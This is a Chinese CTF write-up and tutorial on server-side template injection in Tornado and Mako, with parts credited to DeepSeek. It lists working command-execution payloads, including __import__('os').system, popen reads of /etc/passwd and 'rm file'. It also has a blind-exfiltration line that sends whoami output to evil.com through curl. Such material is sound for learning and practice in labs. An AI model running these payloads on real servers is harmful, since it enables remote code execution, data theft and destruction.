Tornado的SSTI技巧

Tornado SSTI

Write Up

这道题我按照官方wp没成功,怀疑是现在不支持堆叠注入了,只注入一段代码却成功了

寻找注入点的过程不再赘述,推测伪代码:

1
"{{ " + user_input + " }}"

TornadoERB都可以直接写入python或ruby代码,不用像jinja2一样到处找,通过 __import('os').system('')这个python代码直接调用system,payload:

1
__import__('os').system('ls')

Tornado 相关知识点(来自deepseek)

接下来系统地介绍 Tornado 模板的核心语法以及它在 SSTI 题目中的独特特点和利用技巧。

一、Tornado 模板核心语法

标签很多,我看着在CTF中好用的有下面几个,跟ERB很像:

标签 名称 作用 示例
{{ .. }} 表达式 计算其中的 Python 表达式并将其结果输出到 HTML 中。 {{ user.name }}, {{ 1+1 }}
{% .. %} 语句块 执行其中的 Python 语句,用于控制流、定义等,不直接输出内容。 {% if %}{% for %}, {% import %}, {% set %}
{% include ... %} 包含 将另一个模板文件的内容包含进来。 {% include "header.html" %}

关键特性:

  1. 强大的表达式{{ }} 中几乎可以执行任何有效的 Python 表达式,这是其与 Jinja2 等引擎的最大区别,也是 SSTI 利用的基础。
  2. 自动转义:默认开启,对 {{ }} 输出的变量进行 HTML 转义,防止 XSS。

二、SSTI 题目中的特点与利用技巧

Tornado 的 SSTI 因其强大的表达能力而显得非常直接,这既是其特点,也决定了其利用方式。

特点 1: 利用直接,无需复杂绕过

  • 与 Jinja2 对比:在 Jinja2 中,由于沙盒和环境限制,你需要费尽心思地寻找内置类、子类、属性遍历来达到命令执行的目的(如 {{ ''.__class__.__mro__[1].__subclasses__()... }})。
  • Tornado 方式:在 Tornado 中,你通常可以直接执行 Python 代码。如果目标是执行命令,最直接的路径就是导入 os 模块。
    • Payload 示例
      1
      
      {{ __import__("os").system("whoami") }}
      
      或者分步执行(使用语句块):
      1
      
      {% import os %}{{ os.system("whoami") }}
      

特点 2: 两种标签的利用 ({{ }}{% %})

理解两者的区别至关重要,这决定了你的 payload 结构。

场景 使用标签 Payload 示例 说明
执行并获取输出 {{ }} {{ __import__("os").popen("id").read() }} popen().read() 会返回命令输出,需要用 {{ }} 来显示。
执行盲注命令 {{ }}{% %} {{ __import__("os").system("rm file") }}{% import os %}{% os.system("rm file") %} system() 只返回状态码。用 {{ }} 会看到返回值(如 0),用 {% %} 则无回显。
仅为后续做准备 {% %} {% import os %}{% set x = "malicious" %} import, set 这样的语句没有返回值,必须放在 {% %} 中。

特点 3: 漏洞代码模式

在 SSTI 题目中,触发 Tornado SSTI 的代码通常有以下模式:

  1. 字符串拼接渲染(最常见):

    1
    2
    3
    4
    
    # 伪代码:将用户输入直接拼接到模板字符串中
    malicious_input = get_user_input() # 例如:user.name}}{{PAYLOAD}}
    template_string = "{{ " + malicious_input + " }}"
    output = tornado.template.Template(template_string).generate()
    

    你的 payload 需要先闭合原来的表达式user.name}}),然后再开始你的攻击代码{{PAYLOAD}})。

  2. 可控模板文件名(较少见):

    1
    2
    3
    
    # 伪代码:用户控制渲染的模板文件名
    template_name = get_user_controlled_filename() # 例如:../../etc/passwd
    self.render(template_name)
    

    这可能导致路径遍历敏感文件读取,不属于典型的 SSTI,但也是模板相关的漏洞。

特点 4: 利用技巧和注意事项

  1. 空格处理:在系统命令中,空格有时会被错误解析。可以使用 + 代替或使用 Python 字符串函数处理。

    • {{ __import__("os").system("cat+/etc/passwd") }}
    • {{ __import__("os").system("cat /etc/passwd".replace(" ", "+")) }}
  2. Python 2 vs Python 3:注意靶场环境。你的错误信息显示是 Python 2.7,所有 payload 必须与其语法兼容。

  3. 无回显攻击(盲注):如果命令执行没有回显,可以尝试:

    • 延时{{ __import__("time").sleep(5) }} (如果页面5秒后响应,说明执行成功)。
    • DNS 外带{{ __import__("os").system("curl evil.com?$(whoami)") }} (将命令结果通过 DNS 或 HTTP 请求带出)。
    • 写入文件{{ __import__("os").system("whoami > /tmp/result.txt") }} 然后尝试读取该文件。
  4. 权限考虑:Web 服务进程(如 www-data 用户)权限可能较低,需要选择其有权执行的命令。

总结:Tornado SSTI 利用流程

核心思想:Tornado SSTI 的本质是借助 {{ }}{% %} 标签,将模板引擎作为了一个 Python 代码解释器。利用过程就是如何在这个解释器中注入有效的 Python 代码来达到你的目的(命令执行、文件读取等)。由于其支持原生 Python,所以利用起来比很多其他模板引擎都更加直接和强大。

同Mako

Mako 和 Tornado 的模板引擎在 SSTI 漏洞利用上非常类似,它们都属于“直接且强大”的类型,与 Jinja2 等受限的引擎形成鲜明对比。

它们相似的核心原因在于:两者都允许在模板中执行几乎任意的 Python 代码

Mako 和 Tornado 在 SSTI 利用上是“姊妹”关系,它们的利用哲学和威力几乎一模一样。最大的区别只是语法标签的不同(${} vs {{ }}<% %> vs {% %})。一旦 识别出目标是 Mako 模板,就可以运用和 Tornado 相同的直接代码执行思路来利用它,这比对付 Jinja2 要简单得多。

你好,这是一个随便写写,随便看看的无聊而与我很重要的网站。
使用 Hugo 构建
主题 StackJimmy 设计